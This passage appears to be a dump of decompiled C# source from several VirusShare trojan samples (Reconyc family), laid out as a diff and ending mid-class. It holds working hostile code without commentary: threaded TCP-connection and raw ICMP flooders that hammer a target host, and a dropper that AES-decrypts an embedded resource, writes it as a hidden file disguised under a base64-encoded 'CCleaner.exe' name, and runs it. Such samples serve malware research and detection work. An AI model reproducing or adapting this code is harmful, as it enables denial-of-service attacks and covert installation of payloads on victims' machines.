this.\u003F80\u003F = _param2;
|
||||
}
|
||||
|
||||
public void \u003F22\u003F(IAsyncResult _param1)
|
||||
{
|
||||
}
|
||||
|
||||
public void \u003F23\u003F()
|
||||
{
|
||||
label_0:
|
||||
try
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
this.\u003F135\u003F = new Socket[this.\u003F80\u003F];
|
||||
for (int index = 0; index < this.\u003F80\u003F; ++index)
|
||||
{
|
||||
this.\u003F135\u003F[index] = new Socket(this.\u003F79\u003F.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
|
||||
this.\u003F135\u003F[index].Blocking = false;
|
||||
AsyncCallback callback = new AsyncCallback(this.\u003F22\u003F);
|
||||
this.\u003F135\u003F[index].BeginConnect((EndPoint) this.\u003F79\u003F, callback, (object) this.\u003F135\u003F[index]);
|
||||
}
|
||||
Thread.Sleep(100);
|
||||
for (int index = 0; index < this.\u003F80\u003F; ++index)
|
||||
{
|
||||
if (this.\u003F135\u003F[index].Connected)
|
||||
this.\u003F135\u003F[index].Disconnect(false);
|
||||
this.\u003F135\u003F[index].Close();
|
||||
this.\u003F135\u003F[index] = (Socket) null;
|
||||
}
|
||||
this.\u003F135\u003F = (Socket[]) null;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
for (int index = 0; index < this.\u003F80\u003F; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.\u003F135\u003F[index].Connected)
|
||||
this.\u003F135\u003F[index].Disconnect(false);
|
||||
this.\u003F135\u003F[index].Close();
|
||||
this.\u003F135\u003F[index] = (Socket) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
goto label_0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+54
@@ -0,0 +1,54 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?1?.?4?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace \u003F1\u003F
|
||||
{
|
||||
public class \u003F4\u003F
|
||||
{
|
||||
private const string \u003F136\u003F = "abcdefghijklmnopqrstuvwxyz";
|
||||
private const string \u003F137\u003F = "0123456789";
|
||||
private const string \u003F138\u003F = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
private Random \u003F139\u003F;
|
||||
|
||||
public \u003F4\u003F() => this.\u003F139\u003F = new Random();
|
||||
|
||||
public \u003F4\u003F(int _param1) => this.\u003F139\u003F = new Random(_param1);
|
||||
|
||||
public virtual string NextString(int _param1) => this.NextString(_param1, true, true, true);
|
||||
|
||||
public virtual string NextString(int _param1, bool _param2, bool _param3, bool _param4)
|
||||
{
|
||||
char[] chArray = new char[_param1];
|
||||
string empty = string.Empty;
|
||||
if (_param2)
|
||||
goto label_6;
|
||||
label_1:
|
||||
if (_param3)
|
||||
goto label_7;
|
||||
label_2:
|
||||
if (_param4)
|
||||
goto label_8;
|
||||
label_3:
|
||||
for (int index1 = 0; index1 < chArray.Length; ++index1)
|
||||
{
|
||||
int index2 = this.\u003F139\u003F.Next(0, empty.Length);
|
||||
chArray[index1] = empty[index2];
|
||||
}
|
||||
return new string(chArray);
|
||||
label_8:
|
||||
empty += \u003F195\u003F.\u003F196\u003F(":ĸȺ̴в\u0530زܴ࠺स");
|
||||
goto label_3;
|
||||
label_7:
|
||||
empty += \u003F195\u003F.\u003F196\u003F("[śɛ͓ѓՓٓݛ࡛ज़ਜ਼ୃృൃใཛၛᅛቛፓᑓᕓᙓ\u175Bᡛᥛ");
|
||||
goto label_2;
|
||||
label_6:
|
||||
empty += \u003F195\u003F.\u003F196\u003F("{Żɻͳѳճٳݻ\u087Bॻ\u0A7Bୣౣൣ\u0E63ཻၻᅻቻ\u1373ᑳᕳᙳ\u177B\u187B\u197B");
|
||||
goto label_1;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?1?.?5?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
using \u003F1\u003F;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u003F1\u003F
|
||||
{
|
||||
internal class \u003F5\u003F
|
||||
{
|
||||
private static ThreadStart[] \u003F130\u003F;
|
||||
private static Thread[] \u003F131\u003F;
|
||||
public static string \u003F129\u003F;
|
||||
public static int \u003F140\u003F;
|
||||
private static IPEndPoint \u003F79\u003F;
|
||||
public static int \u003F132\u003F;
|
||||
public static int \u003F87\u003F;
|
||||
private static \u003F5\u003F.\u003F6\u003F[] \u003F133\u003F;
|
||||
public static int \u003F134\u003F;
|
||||
|
||||
public static void \u003F24\u003F()
|
||||
{
|
||||
try
|
||||
{
|
||||
\u003F5\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F5\u003F.\u003F129\u003F).AddressList[0], \u003F5\u003F.\u003F132\u003F);
|
||||
}
|
||||
catch
|
||||
{
|
||||
\u003F5\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F5\u003F.\u003F129\u003F), \u003F5\u003F.\u003F132\u003F);
|
||||
}
|
||||
\u003F5\u003F.\u003F131\u003F = new Thread[\u003F5\u003F.\u003F134\u003F];
|
||||
\u003F5\u003F.\u003F130\u003F = new ThreadStart[\u003F5\u003F.\u003F134\u003F];
|
||||
\u003F5\u003F.\u003F133\u003F = new \u003F5\u003F.\u003F6\u003F[\u003F5\u003F.\u003F134\u003F];
|
||||
for (int index = 0; index < \u003F5\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
\u003F5\u003F.\u003F133\u003F[index] = new \u003F5\u003F.\u003F6\u003F(\u003F5\u003F.\u003F79\u003F, \u003F5\u003F.\u003F140\u003F, \u003F5\u003F.\u003F87\u003F);
|
||||
\u003F5\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F5\u003F.\u003F133\u003F[index].\u003F23\u003F);
|
||||
\u003F5\u003F.\u003F131\u003F[index] = new Thread(\u003F5\u003F.\u003F130\u003F[index]);
|
||||
\u003F5\u003F.\u003F131\u003F[index].Start();
|
||||
}
|
||||
}
|
||||
|
||||
public static void \u003F25\u003F()
|
||||
{
|
||||
for (int index = 0; index < \u003F5\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
\u003F5\u003F.\u003F131\u003F[index].Suspend();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private class \u003F6\u003F
|
||||
{
|
||||
private int \u003F140\u003F;
|
||||
private IPEndPoint \u003F79\u003F;
|
||||
private int \u003F87\u003F;
|
||||
private Socket[] \u003F135\u003F;
|
||||
|
||||
public \u003F6\u003F(IPEndPoint _param1, int _param2, int _param3)
|
||||
{
|
||||
this.\u003F79\u003F = _param1;
|
||||
this.\u003F140\u003F = _param2;
|
||||
this.\u003F87\u003F = _param3;
|
||||
}
|
||||
|
||||
public void \u003F23\u003F()
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
byte[] buffer = new byte[this.\u003F87\u003F];
|
||||
try
|
||||
{
|
||||
this.\u003F135\u003F = new Socket[this.\u003F140\u003F];
|
||||
for (int index = 0; index < this.\u003F140\u003F; ++index)
|
||||
{
|
||||
this.\u003F135\u003F[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
|
||||
this.\u003F135\u003F[index].Blocking = false;
|
||||
this.\u003F135\u003F[index].SendTo(buffer, (EndPoint) this.\u003F79\u003F);
|
||||
}
|
||||
Thread.Sleep(100);
|
||||
for (int index = 0; index < this.\u003F140\u003F; ++index)
|
||||
{
|
||||
if (this.\u003F135\u003F[index].Connected)
|
||||
this.\u003F135\u003F[index].Disconnect(false);
|
||||
this.\u003F135\u003F[index].Close();
|
||||
this.\u003F135\u003F[index] = (Socket) null;
|
||||
}
|
||||
this.\u003F135\u003F = (Socket[]) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
for (int index = 0; index < this.\u003F140\u003F; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.\u003F135\u003F[index].Connected)
|
||||
this.\u003F135\u003F[index].Disconnect(false);
|
||||
this.\u003F135\u003F[index].Close();
|
||||
this.\u003F135\u003F[index] = (Socket) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyVersion("3.11.28.5593")]
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: Test, Version=3.11.28.5593, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B4C1EDE9-D91B-4814-A873-BD5883EACB0E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egaj-1913b79aa5e711f9b09855b78533e4a244c7519aa2c27cf5c2237125c01ea156.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: Test, Version=3.11.28.5593, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B4C1EDE9-D91B-4814-A873-BD5883EACB0E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egaj-1913b79aa5e711f9b09855b78533e4a244c7519aa2c27cf5c2237125c01ea156.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: Test, Version=3.11.28.5593, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B4C1EDE9-D91B-4814-A873-BD5883EACB0E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egaj-1913b79aa5e711f9b09855b78533e4a244c7519aa2c27cf5c2237125c01ea156.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+4222
File diff suppressed because it is too large
Load Diff
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egaj-1913b79aa5e711f9b09855b78533e4a244c7519aa2c27cf5c2237125c01ea156.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{5AC49296-7374-4BEC-974C-383E7D61CB41}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Test</AssemblyName>
|
||||
<ApplicationVersion>3.11.28.5593</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="tGtrlEBXHRXTfwxTUdB.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="PYK.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Test", "Trojan.Win32.Reconyc.egaj-1913b79aa5e711f9b09855b78533e4a244c7519aa2c27cf5c2237125c01ea156.csproj", "{5AC49296-7374-4BEC-974C-383E7D61CB41}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5AC49296-7374-4BEC-974C-383E7D61CB41}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{5AC49296-7374-4BEC-974C-383E7D61CB41}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{5AC49296-7374-4BEC-974C-383E7D61CB41}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{5AC49296-7374-4BEC-974C-383E7D61CB41}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: tGtrlEBXHRXTfwxTUdB
|
||||
// Assembly: Test, Version=3.11.28.5593, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B4C1EDE9-D91B-4814-A873-BD5883EACB0E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egaj-1913b79aa5e711f9b09855b78533e4a244c7519aa2c27cf5c2237125c01ea156.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using My;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
public class tGtrlEBXHRXTfwxTUdB
|
||||
{
|
||||
[STAThread]
|
||||
public static void Main()
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] data = tGtrlEBXHRXTfwxTUdB.PTY((byte[]) new ResourceManager("PYK", Assembly.GetExecutingAssembly()).GetObject("KiR"));
|
||||
string str = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments + "\\";
|
||||
if (File.Exists(str + Encoding.UTF8.GetString(Convert.FromBase64String("Q0NsZWFuZXIuZXhl"))))
|
||||
File.Delete(str + Encoding.UTF8.GetString(Convert.FromBase64String("Q0NsZWFuZXIuZXhl")));
|
||||
MyProject.Computer.FileSystem.WriteAllBytes(str + Encoding.UTF8.GetString(Convert.FromBase64String("Q0NsZWFuZXIuZXhl")), data, false);
|
||||
File.SetAttributes(str + Encoding.UTF8.GetString(Convert.FromBase64String("Q0NsZWFuZXIuZXhl")), FileAttributes.Hidden);
|
||||
Process.Start(str + Encoding.UTF8.GetString(Convert.FromBase64String("Q0NsZWFuZXIuZXhl")));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
Process.GetCurrentProcess().Kill();
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
Process.GetCurrentProcess().Kill();
|
||||
}
|
||||
|
||||
public static byte[] PTY(byte[] Dot)
|
||||
{
|
||||
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
|
||||
{
|
||||
rijndaelManaged.IV = new byte[16]
|
||||
{
|
||||
(byte) 1,
|
||||
(byte) 2,
|
||||
(byte) 3,
|
||||
(byte) 4,
|
||||
(byte) 5,
|
||||
(byte) 6,
|
||||
(byte) 7,
|
||||
(byte) 8,
|
||||
(byte) 9,
|
||||
(byte) 1,
|
||||
(byte) 2,
|
||||
(byte) 3,
|
||||
(byte) 4,
|
||||
(byte) 5,
|
||||
(byte) 6,
|
||||
(byte) 7
|
||||
};
|
||||
rijndaelManaged.Key = new byte[16]
|
||||
{
|
||||
(byte) 7,
|
||||
(byte) 6,
|
||||
(byte) 5,
|
||||
(byte) 4,
|
||||
(byte) 3,
|
||||
(byte) 2,
|
||||
(byte) 1,
|
||||
(byte) 9,
|
||||
(byte) 8,
|
||||
(byte) 7,
|
||||
(byte) 6,
|
||||
(byte) 5,
|
||||
(byte) 4,
|
||||
(byte) 3,
|
||||
(byte) 2,
|
||||
(byte) 1
|
||||
};
|
||||
return rijndaelManaged.CreateDecryptor().TransformFinalBlock(Dot, 0, Dot.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
@@ -0,0 +1,4 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyTitle("MW2PartyHelp")]
|
||||
[assembly: AssemblyVersion("1.0.48.5")]
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: bp3cxhjs, Version=1.0.48.5, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BD053CB7-DAC8-4783-BCAC-74145524855E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public MyApplication()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: bp3cxhjs, Version=1.0.48.5, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BD053CB7-DAC8-4783-BCAC-74145524855E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: bp3cxhjs, Version=1.0.48.5, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BD053CB7-DAC8-4783-BCAC-74145524855E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
